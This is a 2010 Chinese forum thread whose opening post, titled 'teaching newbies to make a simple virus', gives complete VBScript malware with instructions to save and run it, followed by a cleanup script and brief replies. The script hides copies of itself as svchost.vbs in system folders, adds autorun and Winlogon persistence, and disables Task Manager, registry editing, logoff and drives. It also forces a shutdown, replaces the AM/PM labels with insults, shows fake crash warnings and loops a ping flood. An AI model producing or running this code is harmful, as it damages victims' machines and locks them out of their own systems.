教菜鸟一做个简单的病毒

社区服务
高级搜索
猴岛论坛辅助工具教菜鸟一做个简单的病毒
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
51个回复

教菜鸟一做个简单的病毒

楼层直达

ZxID:13170412

等级: 中校
睾处不胜含_

举报 只看楼主 使用道具 楼主   发表于: 2010-09-17 0
— 本帖被 尛雨旳執著ヽ 执行锁定操作(2010-10-08) —
教菜鸟一做个简单的病毒!

Set objFS = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

set wsh=wscript.createobject("wscript.shell")

set reg=wscript.createobject("wscript.shell")

dim wsh

a=WScript.ScriptFullName

b="shutdown -t 60 -s -c 如果你是菜鸟的话。。。我想你知道害怕了吧!嬉嬉!"

c="c:\svchost.vbs"

d="d:\svchost.vbs"

s="c:\windows\system32\svchost.vbs"

c1="attrib +s +h +a +r c:\svchost.vbs"

d1="attrib +s +h +a +r d:\svchost.vbs"

s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"

If objFSO.FileExists (c) Then

Else

objFs.GetFile (a).Copy (c)

wsh.run c1

End If

If objFSO.FileExists(d) Then

Else

objFs.GetFile (a).Copy (d)

wsh.run d1

End If

If objFSO.FileExists(s) Then

Else

objFs.GetFile (a).Copy (s)

wsh.run s1

End If

wsh.run b

wsh.run "narrator"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000100","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","c:\svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","d:\svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","tttt H:mm:ss","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","笨蛋!","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","傻逼!","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","c:\windows\system32\svchost.vbs","REG_SZ"

msgbox "系统快要崩溃了!",48,"由于你经常不务正业!:"

msgbox "windows崩溃了!",18,"安全警报:"

do

wsh.run ("ping -t -l 6500 192.168.1.1")

loop

'请将以上代码保存在txt文件中保存、再把后缀名txt改成vbs后执行后就可以看到效果

了解救方法如下:

开机的时候按F8选择从带命令行的安全模式启动系统,然后执行以下命令

attrib -s -r -h -a c:\windows\system32\svchost.vbs

attrib -s -r -h -a c:\svchost.vbs

attrib -s -r -h -a d:\svchost.vbs

explorer

然后从以上文件目录中找到那VBS文件,把他们删除既可,还要自己建立一个新的VBS文件,把一下代码复制进去执行一次就OK了!

set reg=wscript.createobject("wscript.shell")

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000000","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","H:mm:ss","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","AM","REG_SZ"

reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","PM","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","Explorer.exe","REG_SZ"

msgbox "解救成功,请勿用此代码破坏别人",64,"OK"
本帖de评分: 1 条评分 DB +5
DB+5

赶快加我~ Q771551234

王子微

ZxID:10230464

等级: 上将
贱人就是矫情

举报 只看该作者 沙发   发表于: 2010-09-17 0
  路过   
少年之戰丶

ZxID:2000004

等级: 禁止发言

举报 只看该作者 板凳   发表于: 2010-09-17 0
同上 
づ開始懂了づ

ZxID:8456120

等级: 少尉
————手道养生————传承文明————

举报 只看该作者 地板   发表于: 2010-09-17 0
还是不知道为妙!
 凌晨1点半。

ZxID:777777

等级: 禁止发言

举报 只看该作者 4楼  发表于: 2010-09-17 0
路过
 月神

ZxID:2592829

等级: 元老
呵呵,呵呵。

举报 只看该作者 5楼  发表于: 2010-09-17 0
呵呵。小东西挺好的。
鸣人の悲伤

ZxID:11644230

等级: 中将
☆☆★★猴.岛.萨.皮.组★★☆☆

举报 只看该作者 6楼  发表于: 2010-09-17 0
呵呵!不做小白
求鸭力寻鸡情

ZxID:13207832

等级: 中将
I'm  鸭梨- YD七人组。

举报 只看该作者 7楼  发表于: 2010-09-17 0
不做小百
①個亽De兲坣

ZxID:10374223

等级: 少尉
举报 只看该作者 8楼  发表于: 2010-09-17 0
谢谢分享

少爺の不乱来

ZxID:13254654

等级: 列兵
举报 只看该作者 9楼  发表于: 2010-09-17 0
bbq990715

ZxID:13089379

等级: 上士
丶兎ふ☆=丶兔子☆?????
举报 只看该作者 10楼  发表于: 2010-09-17 0
邪恶
http://www.xhblog.com/UploadFiles/2006-4/415152030
风若晨曦

ZxID:8842179

等级: 元老
一念轮回,君千殇

举报 只看该作者 11楼  发表于: 2010-09-18 0
打酱油

给我一个机会,我还你一个奇迹

 ̄∨a1、崭卩

ZxID:9593420

等级: 大校
` 、指引向黑暗的、光芒。||||
举报 只看该作者 12楼  发表于: 2010-09-18 0
不敢做小白
http://preview.tinyurl.com/889os8d
xiejiangyun2010

ZxID:12981031

等级: 少将
我喝醉了

举报 只看该作者 13楼  发表于: 2010-09-18 0
shiam ?
求鸭力寻鸡情

ZxID:13207832

等级: 中将
I'm  鸭梨- YD七人组。

举报 只看该作者 14楼  发表于: 2010-09-21 0
小白呢
中国、移不动

ZxID:10517810

等级: 上士
举报 只看该作者 15楼  发表于: 2010-09-22 0
jun936379908

ZxID:12443973

等级: 列兵
举报 只看该作者 16楼  发表于: 2010-09-22 0
看不懂。
fen9.

ZxID:7915875

等级: 下士
伱媽可好、?
举报 只看该作者 17楼  发表于: 2010-09-22 0
不做小白、更不做害人的东西
伱媽可好、?
___睡姿决定发型

ZxID:12851880

等级: 中将

举报 只看该作者 18楼  发表于: 2010-09-22 0
恶作剧的?
回来了,猴岛。
看看姐姐的

ZxID:13295976

等级: 列兵
举报 只看该作者 19楼  发表于: 2010-09-22 0
中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐中秋快乐
« 返回列表
发帖 回复